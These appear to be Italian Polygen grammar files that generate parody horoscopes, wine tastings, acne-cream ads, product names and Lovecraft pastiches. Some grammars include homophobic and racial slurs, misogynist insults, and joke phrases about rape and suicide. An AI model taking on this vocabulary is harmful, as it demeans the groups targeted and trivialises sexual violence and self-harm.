autunno)) del] Anno | (nel solstizio | all'equinozio) d^ (i primavera | '^ >(estate | inverno | autunno)) ) [(con | di | aventi) ascendente \Segno.NOart.std.(ariete|toro|gemelli|cancro|leone|vergine|bilancia|scorpione|sagittario|acquario|pesci).] ).(M|F) ; NumDecade ::= prima | seconda | terza ; Anno ::= 19 ^ (0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ^ (0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ; Num ::= (1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ^ (0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ; Astro ::= (di: del | art: il | NOart: _) "Sole" | (di: della | art: la | NOart: _) "Luna" | (di: di | art: _ | NOart: _) >("Marte" | "Mercurio" | "Venere" | "Giove" | "Saturno" | "Nettuno" | "Urano") ; Sostegno ::= ( ( >(a causa del | grazie al) (il: _ | lo: ^lo | l: ^l'^) | con (il: il | lo: lo | l: l'^) ) {[[il: (comunque | sempre | quanto mai) | lo: _ | l: _] ( il: >(favorevole | sentito | notevole | piacevole) | lo: >(sfavorevole | scanzonato | soddisfacente | spiacente | spiacevole) | l: _ )]} { il: >(sostegno | favore | contributo | supporto | conforto) | lo: >(sforzo) | l: >( ingresso in \Segno.std.NOart | accanimento | appoggio | inferocimento | inaridimento | inasprimento ) } ).(il|lo|l) ( (degli astri | delle stelle) [Astro.NOart e Astro.NOart] | [da parte] Astro.di [e Astro.di] | [da parte] di [importanti | influenti] pianeti (quali | come) Astro.art [e Astro.art] ) ; Difficolta ::= [non] ( avrete [grosse] difficolta' a | potrete [facilmente | agilmente | comodamente] | sarete [certo] >> (nelle condizioni | in grado | capaci) di | in forma per << ) ( (risolvere | gestire | affrontare | superare) ( qualunque Situazione.S.NOart | [anche | perfino] Situazione.P.art piu' (imprevedibili | incredibili | imbarazzanti) ) | ( (avere la (meglio |+ peggio) | averla vinta) [con (chiunque | tutti) | col [vostro] prossimo] | (portare (sfiga | pegola | rogna) | piantare (grane | rogne)) [a (chiunque | tutti) | al [vostro] prossimo] | fallire [miseramente | clamorosamente] ) in (ogni | qualunque) (>Situazione.S.NOart | campo | settore) ) ; Situazione ::= (art: (S: la | P: le) | NOart: _) ( >(situazion)^(S: e | P: i) | >(evenienz | circostanz)^(S: a | P: e) | avversita' | eventualita' ) | (art: (S: l'^ | P: gli) | NOart: _) >(ostacol | event)^(S: o | P: i) ; Eulogia ::= {[esattamente | proprio]} {come} ( ( [solo | soltanto | unicamente] voi [Segno.vezz.M [e Segno.vezz.F]].NOart (sapete | potete) | {[soltanto]} {Segno.std.art.M} (sanno | possono) ) fare | (desideravate | volevate | avevate (pianificato | preventivato)) ) ; SePossibile ::= se (vi (riesce | e' (possibile | concesso)) | potete) ; Lavoro ::= (per quanto riguarda il | nel) lavoro^"," [Sforzo^","] ( {[SePossibile]} {Consiglio} | ( la vostra (segretaria | direttrice | compagna di ufficio) | il vostro (capo [reparto] | direttore | compagno di ufficio) ) ( si ( ammalera' [di Malattia] [(infettando | impestando) [tutto] l'ufficio] | innamorera' di (voi | >Corna) ) | vi ( fara' >( diventare (matti | pazzi) | le corna [con Corna] | uno scherzo ((sim | anti)^patico | [poco] divertente | di (buon | cattivo) gusto ) | un [bel | brutto] regalo ) | (invitera' | portera') a (cena | pranzo | colazione | merenda) fuori [a mangiare un [bel] piatto di Cibo] | offrira' un (^a cenetta | pranzetto) a base di Cibo ) ) ) ; Malattia ::= un [^a rara forma di | improvviso | terribile] >( raffreddore | herpes | colpo di (frusta | freddo | sole) | ascesso | ematoma sul ParteCorpo | acne ) [acuto | fulminante] | una [rara forma di | improvvisa | terribile] >( gengivite | congiuntivite | poliomelite | micosi | indigestione | carie | (escoriazione | ferita | abrasione) al ParteCorpo ) [acuta | fulminante] | >(morbillo | vaiolo | verme solitario | tartaro | meteorismo) | >( varicella | lebbra | peste | tenia | calvizie | forfora | diarrea | dissenteria | placca [batterica] | aereofagia | blenorragia | stempiatura [precoce] ) | >(orecchioni | spasmi al ParteCorpo) | >( emorroidi | ragadi (anali | al ParteCorpo) | verruche | vesciche [al ParteCorpo] | stigmate [sul ParteCorpo] ) | >(polipi anali | condilomi | brufoli | foruncoli) ; ParteCorpo ::= >> ^la ( schiena | dentiera | (natica | spalla | coscia | caviglia | meninge | tempia) <[destra | sinistra] | mandibola ) | (petto | (braccio | gomito | ginocchio | piede | alluce | mignolo | lobo) <[sinistro | destro] ) << ; Corna ::= >(vostr^(M: o | F: a) ( >(suocer | cognat | [pro^]zi | [bis^]nonn)^(M: o | F: a) | M: >(marito | fratello) | F: >(moglie | sorella) ) ).(M|F) | "Helder" ; Salute ::= (per quanto riguarda la | nella) salute^"," [Sforzo^","] ( {[SePossibile]} {Consiglio} | (soffrirete | vi ammalerete) di Malattia [senza [alcuna] (chance | possibilita') di (recupero | salvezza | ricovero)] ) ; Affari ::= (per quanto riguarda gli | negli) affari^"," [Sforzo^","] ( {[SePossibile]} {Consiglio} | la vostra (azienda | attivita') ( conoscera' un momento (di stasi | [in^]felice | catastrofico | luttuoso) | {fallira' | crollera'} {[clamorosamente | misteriosamente]} [lasciandovi (nella {>(merda | poverta')} {[piu' nera]} | sul lastrico)] ) ) ; Affetti ::= (negli affetti | nelle questioni di cuore | in amore)^"," [Sforzo^","] ( {[SePossibile]} {Consiglio} | ( (non avrete [certo] |- avrete (significative | ottime | buone)) (speranze | opportunita') di | (fate di tutto | non fate nulla) per ) ( ( [ri^]conquistare | (fare | rendere) [in^]felice | essere [finalmente] [in^]felice con ) ( il partner [perduto | [in^]dimenticato] | > >> l'amante | la (babbiona | sgualdrina | mignotta | donnaccia | bagascia) | il (mignottone | frocio | pappa | maledetto | partner) << che (vi ha | avete) Lasciato.S ) | (essere | venir[^e]) Lasciato.P ) | (sarete | verrete) Lasciato.P ) ; Lasciato ::= [crudelmente | cinicamente | [in^]giustamente | bellamente] (>(lasciat | scaricat)^(S: o | P: i) | fatt^(S: o | P: i) fessi) [senza (merce' | pieta')] [ con (i suoceri | un bambino | la figlia | "Helder") (da mantenere | a carico) | senza il becco di un quattrino | in un (oceano | mare) di debiti | dopo una relazione ( che accusava stanchezza | di oltre Num anni | non piu' verde ) ] ; Sforzo ::= per quanto (vi (sforziate | impegniate) | ci proviate) [con (veemenza | fervore) | seriamente | sinceramente] | nonostante ( i vostri [costanti | seri | continui] (sforzi | [buoni] propositi) | la vostra (costanza | determinazione | passione) | il vostro [costante | serio | continuo] (impegno | sforzo) ) ; Consiglio ::= ([non] >(evitate | cercate) di | fate a meno di [non]) ( ( >(utilizzare | usare) il | fare [troppo] sfoggio del | dar [eccessivo] sfogo al ) (- vostro [tipico | grande | enorme] (buon (senso | umore) | [buon] cuore) [di Segno.vezz.M.NOart [o Segno.vezz.F.NOart]] | vostro [irresistibile | misterioso | dirompente | incredibile] ( (fascino | corpo | sorriso | sex appeal) [[un po'] (sexy | ammiccante | noir | segreto | bohemien | traditore)] | ( portafogli | giubbotto | scaldaletto | spazzolino [da denti] | salvagente | costumino | profumo | paio di sandali ) (nuovo | appena acquistato) ) ) | innamorarvi del primo ( (venuto | arrivato | incontrato) | >( [s^]fortunato | sfigato | farlocco | beduino | scaricatore di porto | allocco | temerario | accattone ) [che >(incontrate | trovate) | in cui vi imbattete] ) | (investire | spendere | scialacquare) [senza (criterio | misura | limiti)] in Investimento | lasciare ( l'iniziativa (al >(partner | caso | caos | [vostro] prossimo) | agli altri) | perdere i (consigli | sentimenti) altrui ) ) | ( >( concedetevi | godetevi | preparatevi | mangiatevi | regalatevi | procuratevi ) [Pure] | >( sollazzatevi | gozzovigliate | ristoratevi | riconciliatevi | consolatevi ) [Pure] con ) ( un ([bel | buon | sano] (piatto | paio di piatti) | [bel] po' [di piatti]) di Cibo [(e | o | con) Cibo] | un (oggetto | acquisto) ( di lusso | goloso | erotico | piccante | esagerato | blasfemo | intrigante | lussu[^ri]^oso | costoso | prezioso | esotico ) | ( (F: una (pozione | tisana) | M: un (decotto | infuso)) [balsamic^(M: o | F: a) | [ri^]tonificante] ).(M|F) [di Cibo] ) ; Pure ::= pure | magari | senza rimpianti ; Cibo ::= ( riso[^tto] | lenticchie | pizza | fichi | krauti | pandoro | panettone | mandorlato | cioccolata | uvetta | insalata [di Cibo] | rognoni | gelato | budella | trippa | sarde | uova | pasta | cozze | porri | cavolfiore ) [Cottura [o Cottura]] ; Cottura ::= in rosso | ai ferri | alla piastra | in salmi' | in umido | al sugo | al forno | in bagnomaria | in decotto | in camicia | al dente | al burro | sotto (sale | pepe | aceto | ^lio | vuoto) ; Investimento ::= ( "BOT" | "CCT" | "Fondi" [comuni] di investimeno | assegni [circolari | [non] trasferiti] | borsa | azioni ("TIM" | "Seat Pagine Gialle" | "FIAT" | "Generali") ) [al portatore] | macchinari [vari] per (le industrie | l'agricoltura | l'azienda) | mercati [azionari] ( della \(web | new | [inter^]net) "Economy" | alternativi | delle nuove tecnologie ) | [porta^] >( pizzette [riscaldate] | caramelle | dolciumi | frittelle | ciabatte | accendini [per pipa] | ricariche ["Bic" | telefoniche] | boccette [di inchiostro] ) ; polygen-1.0.6.ds2/grm/ita/gusto.grm0000644000175000017500000001154610340417034016417 0ustar enricoenricoI ::= "title: Gusto\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: il sommellier della rubrica Gusto di Canale 5\n" ^ "warning: da declamarsi rigorosamente con impostazione vocale tipo Gassman\n" ^ "thanks: si ringrazia Kamajin per l'idea\n" ^ "created: 30/5/2004" ; S ::= \INTRO VINO SEGNO.PU3 ABBINAMENTO COLORE.(M|F) (SEGNO.V COLORE.(M|F) )+ e COLORE.(M|F) SEGNO.PU3 all'olfatto SEGNO.V (ODORE.(M|F)).(S|P) [SEGNO.V con OD0 di ((OD1 [OD2]).(M|F)).(S|P)] SEGNO.PU3 al palato e' BOH (SEGNO.V BOH )+ e BOH SEGNO.PU3 [ADDIO SEGNO.PU3] ; INTRO ::= il vino di oggi e' un | assaggiamo [dunque] questo | sentiamo [dunque] questo | oggi (\vi proporrei | sottoporrei alla \vostra attenzione) un | oggi a \gusto sentiremo un ; VINO ::= NOME [AGGETTIVO]; NOME ::= "Albana" | "Asti" | "Barbaresco" | "Bardolino" | "Barolo" | "Brachetto" | "Brunello" | "Carmignano" | "Chianti" | "Franciacorta" | "Gattinara" | "Ghemme" | "Montefalco" | "Montepulciano" | "Recioto" | "Sforzato" | "Torgiano" | "Ramandolo" | "Valtellina" | "Vermentino" | "Vernaccia" | "Lambrusco" | "Chianti" | "Moscato" | "Brachetto" | "Bonarda" | "Cabernet" | "Pinot" ; AGGETTIVO ::= "di San Gimignano" | "Superiore" | "di Gallura" | "di Soave" | "di Valtellina" | "Rosso" ["Riserva"] | "Sagrantino" | "Spumante" | "di Montalcino" | "d'Acqui" | "di Romagna" | "degli Euganei" | "Sauvignon" | "di Pinot" ; ABBINAMENTO ::= (buono per | ottimo per | gustoso con | (e'|va) [solitamente] abbinato con | (e'|va) [spesso] servito con) (PIATTO SEGNO.V)+ e PIATTO SEGNO.PU3 ; PIATTO ::= pesce | verdura | fiorentine | arrosti | costolette | branzino | sformato | dolci | salumi | coppa | prosciutto | pancetta | salsiccia | lardo | anguilla | cotechino | formaggio [di fossa] | provola [affumicata] | scamorza | ossibuchi | melanzane | fritto misto | cane | topo [muschiato] | bresaola | [contro^]filetto | girello | grigliate ; BOH ::= pettegolo | opaco | trasparente | limpido | allegro | frizzante | simpatico | divertito | spumeggiante | liscio | piatto | onesto | sontuoso | vellutato | paraffino | legnoso | stagionato | acetizzante | superbo | umile | arioso | ---pornografico | stimolante | ingannevole | seducente | idiosincratico | imperioso | ardito | arrembante | pavido | brillant[^ant]^e | scintillante | sfrigolante | idrosolubile | arguto | ottuso | scaltro | esaltato | importante | discorsivo | sintetico | primeggiante | torreggiante | fiero | arricchito | ricco | archeologico | esclusivo | complesso | cavalcante | scosso | agitato | familiare | innocente | inerme | drammatico | comico | energico | signorile | floreale | apologetico | decorato | enciclopedico | mitologico | sinottico | ecumenico | manovriero | gi^[u^]ocoso | folle; COLORE ::= (M:(colore | (cromaticamente|--spettrograficamente) impostato sul | riflesso | tono ) | F:((tonalita'|caratteristica) [cromatica] | coloratura | tinta | --fosforescenza | luminescenza | tinta | trasparenza | rifrazione)) [vagamente | leggermente | fortemente | mediamente | altamente | estremamente] COL ; COL ::= ross^(M:o|F:a) | bianc^(M:o|F:a) | ner^(M:o|F:a)| scur^(M:o|F:a)| grigi^(M:o|F:a) | giall^(M:o|F:a) [paglierin^(M:o|F:a) ] | rose'; ODORE ::= (il profumo e' di | presenta reminescenze di | (ha|presenta) OD0 di ) OD1 [OD2]; OD0 ::=un sentore | una reminescenza | un profumo | una fragranza; OD1 ::= (M:(fior^(S:e|P:i) | sandal^(S:o|P:i) | idrocarbur^(S:o|P:i) | mughett^(S:o|P:i) | frutt^(S:o|P:i) | mirtill^(S:o|P:i) | formaggi^(S:o|P:"") | tartuf^(S:o|P:i) | biancospin^(S:o|P:i) | tabacc^(S:o|P:hi) | incens^(S:o|P:i) | patchouli | iris | vetiver | denim ) | F:(ros^(S:a|P:e) | mel^(S:a|P:e) | per^(S:a|P:e) | begoni^(S:a|P:e) | lavand^(S:a|P:e) | cilieg^(S:ia|P:e) | lavand^(S:a|P:e) | ginestr^(S:a|P:e) | terra^(S:a|P:e) [di \siena] | prugn^(S:a|P:e) | euchessin^(S:a|P:e) | pesc^(S:a|P:he) )); OD2 ::= di campo | di mare | di lago | di prato | di macero | bianc^(M:(S:o|P:hi)|F:(S:a|P:he)) | ross^(M:(S:o|P:i)|F:(S:a|P:e)) | giall^(M:(S:o|P:i)|F:(S:a|P:e)) | ner^(M:(S:o|P:i)|F:(S:a|P:e)) | [pa^]raffinat^(M:(S:o|P:i)|F:(S:a|P:e)) | rosat^(M:(S:o|P:i)|F:(S:a|P:e)) | salat^(M:(S:o|P:i)|F:(S:a|P:e)) | sanguign^(M:(S:o|P:i)|F:(S:a|P:e)) | sporc^(M:(S:o|P:hi)|F:(S:a|P:he)) | stimolat^(M:(S:o|P:i)|F:(S:a|P:e)) | aromatic^(M:(S:o|P:i)|F:(S:a|P:he)) | insipid^(M:(S:o|P:i)|F:(S:a|P:e)) | scipit^(M:(S:o|P:i)|F:(S:a|P:e)) | appassit^(M:(S:o|P:i)|F:(S:a|P:e)) essiccat^(M:(S:o|P:i)|F:(S:a|P:e)) | sottacet^(M:(S:o|P:i)|F:(S:o|P:i)) | bruciat^(M:(S:o|P:i)|F:(S:a|P:e)) | scottat^(M:(S:o|P:i)|F:(S:a|P:e)); ADDIO ::= (buon pomeriggio | buona giornata | buon proseguimento | +++buona degustazione | ---buona sbronza ) [a tutti]; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":" | PU3: ^"."\ | PUE: ^"!"\ | V: ^"," | VT: ^"\""\ | PUI: ^"?"\ ); polygen-1.0.6.ds2/grm/ita/clerasil.grm0000644000175000017500000002636510340417034017061 0ustar enricoenricoI ::= "title: Clerasil\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: pubblicita'\n" ^ "audience: boh\n" ^ "comment: se non vi dovesse far ridere, provate a pensare a uno che impiega due giorni interi per fare sta cazzata\n" ^ "created: 7/9/2004\n"; S ::= TabellaTop ImagePartenza CellaTesto "...e ora" (++[c'^]"ho anche"|non ho piu') Malattia ":(
    "^ Esclamazione "C'e'" Prodotto^"!
    " FineCella TabellaBottom TabellaTop ImageProdotto CellaTesto "Dicono che con sole" Numero^" "^Applicazioni "di" Prodotto AzioneProdotto Malattia [Pero AzioneProdotto Malattia] "...
    "^ "Proviamo ..." FineCella TabellaBottom TabellaTop ImageRisultato CellaTesto Hm FineCella TabellaBottom TabellaTop ImageRisultato CellaTesto Esclamazione \ Risultato FineCella TabellaBottom TabellaTop ImageNormale CellaTesto Esclamazione "Pronta per" Azione^"!" FineCella TabellaBottom; Malattia ::= ( ++(la sars|l'onanismo|la [bronco^]polmonite|la peste [bubbonica]|la lebbra|l'aids|il cancro|il raffreddore|la tosse|le mie cose|la rabbia|il tetano|la congiuntivite|la gastrite|la diarrea|il vomito |la nausea|l'epatite|il morbillo|la rosolia|le emorroidi|la dissenteria|l'incontinenza|la dislessia|il ciclo mestruale|la cellulite|la polygenite|la depressione|la tristezza|l'ansia|la carie|il tartaro ) [DoveCorpo] |(CosaCorpo.M [Aggettivo.M] | CosaCorpo.F [Aggettivo.F]) |una malattia Aggettivo.F [come Malattia] |una malattia che [non] mi fa venire (la paura|il terrore|la voglia|il bisogno [fisiologico]|la paranoia) di (me stessa|+Prodotto|usare Prodotto DoveCorpo|++Azione|[non](contrarre|avere|milgiorare|peggiorare) (Malattia|CosaCorpo)) |la (PrefissoProdotto|Aggettivo.M)^(s|n|t|l)^ite [acuta|in fase terminale] ); Hm ::= ([u^]h^(((m^)+)+)+ |(("..."^)+)+ |-((( (ah|eh|ih|oh|uh|"Ah"|"Eh"|"Ih"|"Oh"|"Uh")^ )+)+)+ |(a|e|i|o|u)^(((h^)+)+)+ |w^((( (o|"O"|au)^ )+)+)+^w |((( (ahah)^ )+)+)+ )^(("?"^|"!"^)+)+ [^" "^Esclamazione^"!"]; Esclamazione ::= \(guarda|toh|ma pensa["un po'"]|chi l'avrebbe mai detto|cazzo|w^(o^)+w|oh no|oddio|bella li'|da paura|che figata|incredibile|da non crederci|stupefacente|assurdo|non ci credo |non e' possibile|nessun problema|stai tranqui|che storia|minkia|caspita|[ma] porca troia|[ma] zio (cane|fringuello)|[ma] porca zoccola|[ma] porca mignotta|eccheccazzo|evvai |ma vieni|si^(i^)+"'"|al^(e^)+"e'"|a^(pp^)+"ero'"|h^(m^)+^|fermi tutti|che bello|[ma] vaffanculo [Prodotto]|Prodotto di merda|ma che cazzo [di Prodotto]|grazie (Prodotto|"a Dio") |che culo|che [s^]fortuna| Prodotto ".." (ti amo|ti adoro|ti voglio bene|ti ringrazio|[vaf^]fanculo|fottiti|muori|accipicchia|cribbio|mi consenta|al^((eE^)+)+^((oO^)+)+) |era ora|finalmente|porco il polygen )^"!"; Applicazioni ::= (applicazioni [DoveCorpo]| assunzioni per via (anale|rettale|orale|endovenosa)|supposte|aspirine|sniffate|leccate|sfregiate [DoveCorpo]|scatole [di (confetti|caramelle|cioccolatini)]|confezioni [formato (famiglia|convenienza)]|(cene|portate|bevande|colazioni|spaghettate) a base|spruzzate|inalate|porzioni per Numero^" persone"|bottiglie|pentole|tonnellate|scatolette|puffate); PrefissoProdotto ::= ([s^](minkio|cippo|brufo|puffo|fuffo|puntonero|frocio|cipollo|fungo|finocchio|pippo|puzzo|fumo|canna|pizzul|molko|pizza|fotti|topo|cassano|pinguino|pongo) |Aggettivo |PartiCorpo); Prodotto := ""\PrefissoProdotto^sil^"®"; AzioneProdotto ::= (riduce|aumenta|mette in risalto|rinvigorisce|valorizza|rassoda|stimola|aiuta a farmi venire|combatte|annienta|polverizza|rade al suolo|distrugge) [Quanto]; Numero ::= ((1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9)^)+; TD1 ::= ""; TD2 := ""; TR1 := ""; TR2 := ""; N := " "; URL := "http://alanzap.altervista.org/clerasil/"; ImgSfondo ::= URL^(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19); ImgBrufolo ::= URL^b^(+1|2|3|4|5|6|7|8|9|10|11|12|13|14|15); ImgMaschera ::= URL^m^(1|2|3|4|5); ImgProdotto ::= URL^p^(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18); (* URL^ *) TabellaTop := ""; TabellaBottom := "
    "; CellaTesto := ""; FineCella := "
    "; ImgTopPartenza ::= ""; ImgTopProdotto ::= "
    Ho avuto la parte!
    "; ImgTopFoto ::= "
    "Prodotto "
    "; ImgBottom := "
    "Tempo "
    "; ImagePartenza ::= ImgTopPartenza Brufoli ImgBottom; ImageProdotto ::= ImgTopProdotto ImgBottom; ImageRisultato ::= ImgTopFoto Brufoli ImgBottom; ImageNormale ::= ImgTopFoto [""] ImgBottom; Brufoli ::= TD1 N TD2 TD1 N TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 N TD2 TD1 TD2 TR2 TR1 TD1 N TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 TD2 TR2 TR1 TD1 N TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 TD2 TR2 TR1 TD1 N TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 TD2 TR2 TR1 TD1 N TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 TD2 TR2 TR1 TD1 N TD2 TD1 N TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 Brufolo TD2 TD1 N TD2 TD1 TD2 TR2 TR1 TD1 N TD2 TD1 N TD2 TD1 N TD2 TD1 N TD2 TD1 N TD2 TD1 N TD2 TD1 N TD2 TD1 N TD2 TD1 N TD2 TD1 TD2 ; Hex ::= (0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | "A" | "B" | "C" | "D" | "E" | "F"); Brufolo ::= [++(+++"●"|---"")]; Azione ::= (entrare in (scena|"Europa"|"Africa"|"Asia"|pizzeria|officina|bagno|un manicomio|una discarica|scivolata|piscina|garage|soggiorno|stalla|campo|depressione|ansia|paranoia) |(buttarmi|tuffarmi|lanciarmi|cadere|precipitare) (da un ponte|dal marciapiede|di sotto|dal balcone|sotto a (una macchina|un treno|un tir|un triciclo|un apecar|uno schiaccia^(sassi|PartiCorpo))) |(schiattare|morire|vivere|suicidarmi|vomitare|andare a cagare|fottermi|scopare|fottere|una botta|una scopata|giocare (coi lego|col pongo|a briscola|a canasta|a rubamazzetto)|strippare) |+(candidarmi come|partecipare a|fare la giuria di) ("Miss"|"Mister") "'"^\(-italia|muretto|lampione|marciapiede|-"casa Bianca"|-"presidente del Consiglio"|++PartiCorpo|++Aggettivo|++Malattia)^"'" |(staccarmi|palparmi|ammirarmi|drogarmi|radermi|colorarmi|tagliarmi|leccarmi|farmi leccare|massaggiarmi) [Quanto] CosaCorpo |farmi ((ammirare|leccare|scopare|inculare|sculacciare|sgridare|ammanettare|arrestare|struprare|violentare|frustare|sputare|massaggiare)[Quanto][CosaCorpo|DoveCorpo] |(sputare addosso|una doccia|un bagno|una nuotata|una passeggiata|una corsa|una flebo)) ); Tempo ::= Numero^" "^(decenni|anni|mesi|settimane|giorni|ore|minuti|secondi|(decimi|centesimi|millesimi) di secondo|nanosecondi) dopo^":"; PartiCorpo ::= M:(naso|ginocchio|pene|neo|brufolo|cervello|culo|testicolo|gluteo|piede|dito|gomito|pelo|fianco|polso|dente|cazzo|labbro) |F:(tetta|costola|gamba|pelle|mano|[soprac^]ciglia|schiena|colonna vertebrale|spalla|narice|figa|vagina|ascella|fronte|lingua|gola|vena|gobba); Dove ::= sopra|sotto|dentro; DoveCorpo ::= [soprattutto|anche|[non] solo] (M:([Dove] al|nel) PartiCorpo.M|F:([Dove] alla|nella) PartiCorpo.F) [(e [anche|pure]|ma non) (Dove|DoveCorpo) ]; CosaCorpo ::= (M:(il) PartiCorpo.M|F:(la) PartiCorpo.F); Quanto ::= ( Avverbio|[Avverbio](a dismisura|di (poco|molto|pochissimo|moltissimo)|da paura|'na cifra|di botto|un casino|di (brutto^)+^" ") ); Avverbio ::= [Aggettiv^amente|in modo Aggettiv^o]; Aggettiv ::= (anzian|stronz|fig|fic|negr|gross|pompinar|troi|zoccol|lesbic|mignott|brutt|schiacciat|allungat|accorciat|cozz|gnocc |paralitic|simpatic|antipatic|sfigat|nan|nevrotic|mestruat|puffos|inkazzat|assurd|carin|vanitos|egocentric|distrutt[^iv]|esplos[^iv]|deformat |depress|stort|piccin|bellin|bruttin|dolcios|alcolizzat|drogat|metallar|gothic|perpless|agitat|preoccupat|terrorizzat|cess|oppress |tormentat|dannat|tremend|ottim|dotat|puzzos|addormentat|indolenzit |ross|giall|ner|bianc); Aggettivo ::= [(-puff|stra|super|mega)^] ( Aggettiv(M:^o|F:^a) |-(giovane|idiota|demente|imbecille|intelligente|nazista|comunista|nichilista|deforme|deprimente|dolce|triste|dark|rosa|viola|verde) ); Pero ::= (ma|pero'|anche se) [^","(in compenso|oltre a questo|oltretutto|in aggiunta|in ogni caso)^","]; Ho ::= (non ho piu'|ho [ancora|di nuovo]); Risultato ::= [(guarda[^te]^","|ved^(i|ete)^"?"\|(hai|avete) "visto?"\)] [(+_ | (come se non (bastasse|fosse (sufficiente|abbastanza)))^",") ] ( [Ho Malattia "..." Pero] Ho Malattia |(mi si sta|sento che sta) (migliorando|peggiorando|aumentando|diminuendo|crescendo) [Quanto] (Malattia|CosaCorpo) |[sento che] sto (migliorando|peggiorando|invecchiando|regredendo|facendo progressi|ringiovanendo|rincretinendo|rimbecillendo|impazzendo) [Quanto] |[sento che] (sto diventando|son diventata|mi sento) [Quanto] (piu'|meno) Aggettivo.F |(((come|ora|quanto) ((sono|sembro))| prima (ero|sembravo)) [Quanto] (piu'|meno)) Aggettivo.F |(mi sento|sto) ((ben|mal)^(e|issimo)|da cani|da schifo|di merda|ottimamente|a mio agio) Pero Risultato )^"!"; polygen-1.0.6.ds2/grm/ita/ponti.grm0000644000175000017500000000126510340417034016404 0ustar enricoenrico I ::= "title: Prodotti Ponti\n" ^ "author: Zeff\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: Ponti S.p.a. rivendica i diritti su" Prod ^"\n" ^ "created: 5/12/2002" ; S ::= Prod "Ponti" ; Prod ::= Verdura^Suff ; Verdura ::= "Carcio" | "Fungo" | "Peper"[^on] | "Pomo" | "Fungo" | "Finocchio" | "Verza" | "Aspara" | "Fagio" | "Melanza" | "Insala" | +++"Condi" | +++"Gusta" | "Cipol" | "Riso" | "Pinzi" | "Pasta" | "Pizza" | "Sapor" | "Pisel" | "Tonno" | "Capper" ; Suff ::= ++lizia | slurp | monio | +ghiotto | gnam | lette | gusto | +godi | mangia ; polygen-1.0.6.ds2/grm/ita/lovecraft.grm0000644000175000017500000002550310340417034017241 0ustar enricoenricoI ::= (T ::= i racconti del ""\necronomicon ""; "title: "\T ^"\n" ^ "author: Auletride <laroccar@libero.it;>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "disclaim: Ispirato a H. P. Lovecraft\n" ^ "created: aprile 2005\n" ) ; S ::= TITOLO "\n\n" INCIPIT "\n" \((a|per le strade di|verso) CITTA ^"," QUALITA |(percorrendo la |scendendo verso una|aspettando nella|dormendo nella|nel cuore della) POSTO|DOVE) ^"," UNO \ [DUE \] [TRE ] "\n" ESITA "\n" \(avevamo risvegliato|devo dire a mio figlio cio' che vidi ^":"|voltandomi indietro vidi) AGG ESSERE ^"," MOSTRI ^"," MOSTRI e MOSTRI ^"." "\n" \ [allora ^","] tra COSE e COSE ^"," un GENTE AZIONE e AZIONE ^"," (ripetendo|sussurando|intonando|invocando)^":" "\n" "" FRASE ["\n" FRASE] "" "\n" FINE ; TITOLO ::= \ (il caso|il discendente|il cane|l'^orrore|la montagna|colui|l'^ombra|il sogno|la citta'|il richiamo|il cancello) [della chiave|della follia|di \dunwich|che sussurrava|di \cthulhu|di argilla] (d'^argento|dal tempo|senza nome|nel buio|nella casa stregata|di \charles \dexter \ward|dal mare) ; INCIPIT ::= \ (quando giunsi vicino alla citta' senza nome ^"," capii che era maledetta| nelle mie orecchie torturate risuona incessante un frullare e un battere d'ali da incubo ^"," e un abbaiare tenue e lontano come di un cane gigantesco|ero lontano da casa e subivo l'^incanto del mare orientale|scrivendo in quello che il dottore dice sara' il mio letto di morte ^"," la mia paura piu' grande e' che quell'uomo si sbagli|credo che la cosa piu' pietosa al mondo sia l'incapacita' della mente umana di correlare tutto cio' che contiene|da una clinica privata per malattie nervose vicino \providence ^"," \rhode \island ^"," e' di recente scomparsa una persona estremamente singolare|sia ben chiaro che alla fine non sperimentai alcun reale orrore visivo|sono costretto a parlare perche' uomini di scienza hanno rifiutato di seguire il mio consiglio senza conoscerne il motivo|se fossero stati i sogni a portare la febbre ^"," o la febbre a portare i sogni ^"," \walter \gilman non lo sapeva|i miei ricordi sono molto confusi|\marinus \bicknell \ willett non spera che questa storia venga creduta tranne forse da alcuni amici comprensivi|quando mi abbattei nell'orrore ero da solo ^"," e finora non l'ho detto ad alcuno) ^"." ; DOVE ::= vicino al nero fiume oleoso dove sempre vortica la nebbia|sulle colline al crepuscolo|nel bel mezzo della notte|lontano nella nera boscaglia|lungo il fiume e su per la collina|sulla malfamata isola sul fiume|nel solaio sigillato da tempo immemorabile ; CITTA ::= \(sardath la dannata|ib|kadath nella \fredda 